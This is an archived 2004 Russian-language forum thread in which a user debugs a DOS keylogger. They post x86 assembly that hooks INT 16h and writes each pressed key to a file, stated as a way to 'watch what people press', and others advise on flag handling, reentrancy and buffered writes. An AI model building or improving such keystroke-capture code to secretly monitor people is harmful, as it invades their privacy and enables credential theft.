|
|
| Посл.отвђт | Сообщенiе |
|
|
Дата: Сен 1, 2004 10:33:44 Такая вот вещь понадобилась: прога под DOS. надо нажатые клавиши записывать в файлик - следить так сказать, чего люди нажимают. Я перехватываю прерывание BIOS, выполняю сачала его, а потом записываю нажатую клавишу. Но программа ведёт себя очень странно: под NC работает нормально, под VC: (Volkov Commander) вешается VC при попытке просмотреть какой-либо файл, а из DOS Navigatora вообще запускаться нехотит - сразу виснет Navigator |
|
|
Дата: Сен 1, 2004 11:46:55 Как ты записываешь данные в файл ? Контролируешь ли флаг занятости ДОС (int 28h) ? Вообще код приведи... |
|
|
Дата: Сен 1, 2004 12:39:05 ChelL надо нажатые клавиши записывать в файлик - следить так сказать, чего люди нажимают. Ну так в ДОС в файлы не всегда можно записывать. Особенно в программах обработки прерываний. Обычно скидывают все в память и в фоне пишут в файл. |
|
|
Дата: Сен 1, 2004 13:04:13 _Chingachguk_ я проверяю флаг заятости DOS вот так: В основной программе: [QOUTE] ........ ; poluchim adres flagov zaniatosti DOS i flaga kritich. oshibki mov ah, 34h int 21h dec bx ; umenshaem na 1 => ukazivaet na flag kritich. oshibki mov word ptr in_dos_addr, bx mov word ptr in_dos_addr+2, es [/QOUTE] [QOUTE] ; return CF=0-esli mogno polzovatsia funkciami DOS safe_check proc push es push cs pop ds les di, dword ptr in_dos_addr cmp word ptr es:[di], 0 pop es jne safe_check_failed clc ; CF=0 ret safe_check_failed: stc ;CF=1 ret safe_check endp ; мой обработчик прерывания int16h_proc proc far jmp _jmpThrowData b_ah db ? _jmpThrowData: mov b_ah,ah pushf call dword ptr cs:int16h_oldhandl cmp b_ah, 0 jz _Proced cmp b_ah, 10h jz _Proced cmp b_ah, 20h jnz _Exit _Proced: pusha push es push ds push cs pop ds cmp al, 0 jz _extendetkey cmp al, 0E0h jz _extendetkey ;zapishem simvol: buffer-simvol,dx-adres buffer'a,cx-klo-vo simvolov mov buffer,al mov dx, offset buffer mov cx, 1 cmp al, 0Dh jnz _write2file mov dx, offset eol mov cx, 2 jmp _write2file _extendetkey: cmp ah, 48h jz _GreyKey1 cmp ah, 50h jnz _extendedKey1 _GreyKey1: mov dx, offset eol mov cx, 2 jmp _write2file _extendedKey1: call GetExtended _write2file: ; проверим cli call safe_check sti jc _out__int16_proc call do_io ; вызов процедуры записи буффера (dx) в файл. в CX - количество записываемых файлов _out__int16_proc: pop ds pop es popa _Exit: iret int16h_proc endp [QOUTE] |
|
|
Дата: Сен 1, 2004 13:06:37 А, я понял ! ;) Ты возвращаешься из перехватчика iret, а надо - retf 2 или как-то иначе флаги сохранять. |
|
|
Дата: Сен 1, 2004 13:08:22 ChelL mov b_ah,ah -> mov cs:b_ah,ah ? |
|
|
Дата: Сен 1, 2004 13:25:03 valterg была такая идея... " и в фоне пишут в файл" в смысле в фоне? прогу не делать резидентной а запустиь цикл и раз в секунду проверять? а как прогу на секунду остановить? |
|
|
Дата: Сен 1, 2004 14:35:21 _Chingachguk_ pushf я делаю для call dword ptr cs:int16h_oldhandl. А он вроде сам из стека удаляет флаги... или нет? |
|
|
Дата: Сен 1, 2004 15:30:52 ставил я retf 2 вместо ret - тот же результат :( |
|
|
Дата: Сен 1, 2004 15:40:13 Ёиоу ! Смотри: pushf call dword ptr Old_Handler ; Сейчас флаг ZF вернулся из int 16h оригинального ... ; cmp или любые другие команды - портят его ! ... iret ; Вообще выталкивает флаги из стека retf 2 ; Возвращает уже совсем другие флаги... |
|
|
Дата: Сен 1, 2004 16:33:17 так... что то не пойму я... то есть мне надо ещё раз после call dword ptr Old_Handler выполнить pushf, а при выходе из процедуры popf, т.е. .... pushf call dword ptr Old_Handler pushf ..... _out__int16_proc: pop ds pop es popa _Exit: popf iret int16h_proc endp так надо сделать? |
|
|
Дата: Сен 1, 2004 17:13:16 так... что то не пойму я... то есть мне надо ещё раз после call dword ptr Old_Handler выполнить pushf, а при выходе из процедуры popf, т.е. .... pushf call dword ptr Old_Handler pushf ..... _out__int16_proc: pop ds pop es popa _Exit: popf iret int16h_proc endp так надо сделать? |
|
|
Дата: Сен 1, 2004 17:34:41 Ну типа того. Тока вложение другое. push ds push es ... pushf call dword ptr OldHandler pushf ... ; do everything popf pop es pop ds retf 2 |
|
|
Дата: Сен 1, 2004 18:39:51 CheIL, введи флаг проверки на активность int 13h: (новый обработчик int 13h может выглядеть так) pushf inc disk_flag call dword ptr cs:[old13_off];вызов старого 13h pushf dec disk_flag popf ret 2 int 13h лучше не прерывать во время выполнения-оно нереентабильно. |
|
|
Дата: Сен 1, 2004 18:50:25 ChelL Нельзя в программе обработки прерываний писать в файл. Ты должен только писать в буфер и каким-то образом организовать фоновый процесс ( в ДОС-е вроде INT 2F этим заправляет), который будет это делать. Проверить, что дело именно в записи легко. На время убери его и проверь. |
|
Powered by miniBB 1.6 © 2001-2002
Время загрузки страницы (сек.): 0.512 |